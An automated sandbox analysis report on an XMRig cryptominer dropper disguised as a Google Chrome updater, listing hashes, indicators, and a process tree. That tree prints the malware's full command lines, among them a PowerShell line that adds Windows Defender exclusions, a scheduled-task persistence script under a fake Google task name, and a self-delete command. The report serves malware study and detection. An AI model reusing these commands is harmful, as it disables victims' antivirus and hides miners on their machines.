xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
1800s
max time network
1791s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
16/01/2024, 20:08

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General

Target

qM5GMXBk6hJE6Y5e(15).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 2456 created 3480	2456	qM5GMXBk6hJE6Y5e(15).exe	32
PID 2456 created 3480	2456	qM5GMXBk6hJE6Y5e(15).exe	32
PID 2456 created 3480	2456	qM5GMXBk6hJE6Y5e(15).exe	32
PID 2456 created 3480	2456	qM5GMXBk6hJE6Y5e(15).exe	32
PID 4472 created 3480	4472	updater.exe	32
PID 4472 created 3480	4472	updater.exe	32
PID 4472 created 3480	4472	updater.exe	32
PID 628 created 3480	628	conhost.exe	32
PID 4472 created 3480	4472	updater.exe	32

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral18/memory/3388-87-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-93-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-97-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-99-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-100-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-102-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-106-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-108-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-110-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-112-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-114-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-116-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-118-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-120-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-122-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-124-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-126-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-128-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-130-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-132-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-134-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-136-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-138-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-140-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-142-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-144-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-146-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-148-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-150-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-152-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig
behavioral18/memory/3388-154-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
4472	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral18/memory/3388-87-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-93-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-97-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-99-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-100-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-102-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-106-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-108-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-110-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-112-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-114-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-116-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-118-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-120-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-122-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-124-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-126-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-128-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-130-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-132-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-134-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-136-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-138-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-140-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-142-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-144-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-146-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-148-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-150-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-152-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx
behavioral18/memory/3388-154-0x00007FF7FF550000-0x00007FF7FFD44000-memory.dmp	upx

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4472 set thread context of 628	4472	updater.exe	118
PID 4472 set thread context of 3388	4472	updater.exe	115

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e(15).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4588	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
2456	qM5GMXBk6hJE6Y5e(15).exe
2456	qM5GMXBk6hJE6Y5e(15).exe
1468	powershell.exe
1468	powershell.exe
2456	qM5GMXBk6hJE6Y5e(15).exe
2456	qM5GMXBk6hJE6Y5e(15).exe
3040	powershell.exe
3040	powershell.exe
2456	qM5GMXBk6hJE6Y5e(15).exe
2456	qM5GMXBk6hJE6Y5e(15).exe
2456	qM5GMXBk6hJE6Y5e(15).exe
2456	qM5GMXBk6hJE6Y5e(15).exe
2964	powershell.exe
2964	powershell.exe
4472	updater.exe
4472	updater.exe
4472	updater.exe
4472	updater.exe
1908	powershell.exe
1908	powershell.exe
4472	updater.exe
4472	updater.exe
4472	updater.exe
4472	updater.exe
628	conhost.exe
628	conhost.exe
4472	updater.exe
4472	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeIncreaseQuotaPrivilege	3040	powershell.exe
Token: SeSecurityPrivilege	3040	powershell.exe
Token: SeTakeOwnershipPrivilege	3040	powershell.exe
Token: SeLoadDriverPrivilege	3040	powershell.exe
Token: SeSystemProfilePrivilege	3040	powershell.exe
Token: SeSystemtimePrivilege	3040	powershell.exe
Token: SeProfSingleProcessPrivilege	3040	powershell.exe
Token: SeIncBasePriorityPrivilege	3040	powershell.exe
Token: SeCreatePagefilePrivilege	3040	powershell.exe
Token: SeBackupPrivilege	3040	powershell.exe
Token: SeRestorePrivilege	3040	powershell.exe
Token: SeShutdownPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeSystemEnvironmentPrivilege	3040	powershell.exe
Token: SeRemoteShutdownPrivilege	3040	powershell.exe
Token: SeUndockPrivilege	3040	powershell.exe
Token: SeManageVolumePrivilege	3040	powershell.exe
Token: 33	3040	powershell.exe
Token: 34	3040	powershell.exe
Token: 35	3040	powershell.exe
Token: 36	3040	powershell.exe
Token: SeIncreaseQuotaPrivilege	3040	powershell.exe
Token: SeSecurityPrivilege	3040	powershell.exe
Token: SeTakeOwnershipPrivilege	3040	powershell.exe
Token: SeLoadDriverPrivilege	3040	powershell.exe
Token: SeSystemProfilePrivilege	3040	powershell.exe
Token: SeSystemtimePrivilege	3040	powershell.exe
Token: SeProfSingleProcessPrivilege	3040	powershell.exe
Token: SeIncBasePriorityPrivilege	3040	powershell.exe
Token: SeCreatePagefilePrivilege	3040	powershell.exe
Token: SeBackupPrivilege	3040	powershell.exe
Token: SeRestorePrivilege	3040	powershell.exe
Token: SeShutdownPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeSystemEnvironmentPrivilege	3040	powershell.exe
Token: SeRemoteShutdownPrivilege	3040	powershell.exe
Token: SeUndockPrivilege	3040	powershell.exe
Token: SeManageVolumePrivilege	3040	powershell.exe
Token: 33	3040	powershell.exe
Token: 34	3040	powershell.exe
Token: 35	3040	powershell.exe
Token: 36	3040	powershell.exe
Token: SeIncreaseQuotaPrivilege	3040	powershell.exe
Token: SeSecurityPrivilege	3040	powershell.exe
Token: SeTakeOwnershipPrivilege	3040	powershell.exe
Token: SeLoadDriverPrivilege	3040	powershell.exe
Token: SeSystemProfilePrivilege	3040	powershell.exe
Token: SeSystemtimePrivilege	3040	powershell.exe
Token: SeProfSingleProcessPrivilege	3040	powershell.exe
Token: SeIncBasePriorityPrivilege	3040	powershell.exe
Token: SeCreatePagefilePrivilege	3040	powershell.exe
Token: SeBackupPrivilege	3040	powershell.exe
Token: SeRestorePrivilege	3040	powershell.exe
Token: SeShutdownPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeSystemEnvironmentPrivilege	3040	powershell.exe
Token: SeRemoteShutdownPrivilege	3040	powershell.exe
Token: SeUndockPrivilege	3040	powershell.exe
Token: SeManageVolumePrivilege	3040	powershell.exe
Token: 33	3040	powershell.exe
Token: 34	3040	powershell.exe
Token: 35	3040	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 788 wrote to memory of 2500	788	cmd.exe	100
PID 788 wrote to memory of 2500	788	cmd.exe	100
PID 2964 wrote to memory of 2696	2964	powershell.exe	105
PID 2964 wrote to memory of 2696	2964	powershell.exe	105
PID 4472 wrote to memory of 628	4472	updater.exe	118
PID 4552 wrote to memory of 4588	4552	cmd.exe	114
PID 4552 wrote to memory of 4588	4552	cmd.exe	114
PID 4472 wrote to memory of 3388	4472	updater.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3480
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(15).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(15).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3040
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(15).exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Modifies data under HKEY_USERS
  PID:4744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1908
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:3388
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4552
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:628

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2500

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4472
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:3584

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:4588

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:3732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
PID:5112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
205KB

MD5
f098b30e8ad3958d8cc98f0101ac837a

SHA1
90912f60b6f7f4c1b6a09170c53aa0ac90e09366

SHA256
3ca6cb63f04017e472af356bcedca998aa0bd1da41ed02e4011230f83f8c6c70

SHA512
f695fc6ff1518f835822da0adc2e333196ae41e48d7ca6e935957d53e3909f4b41ef883647343afb17c4e87d33741510090f249b87080b20db144e217d4f1701

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
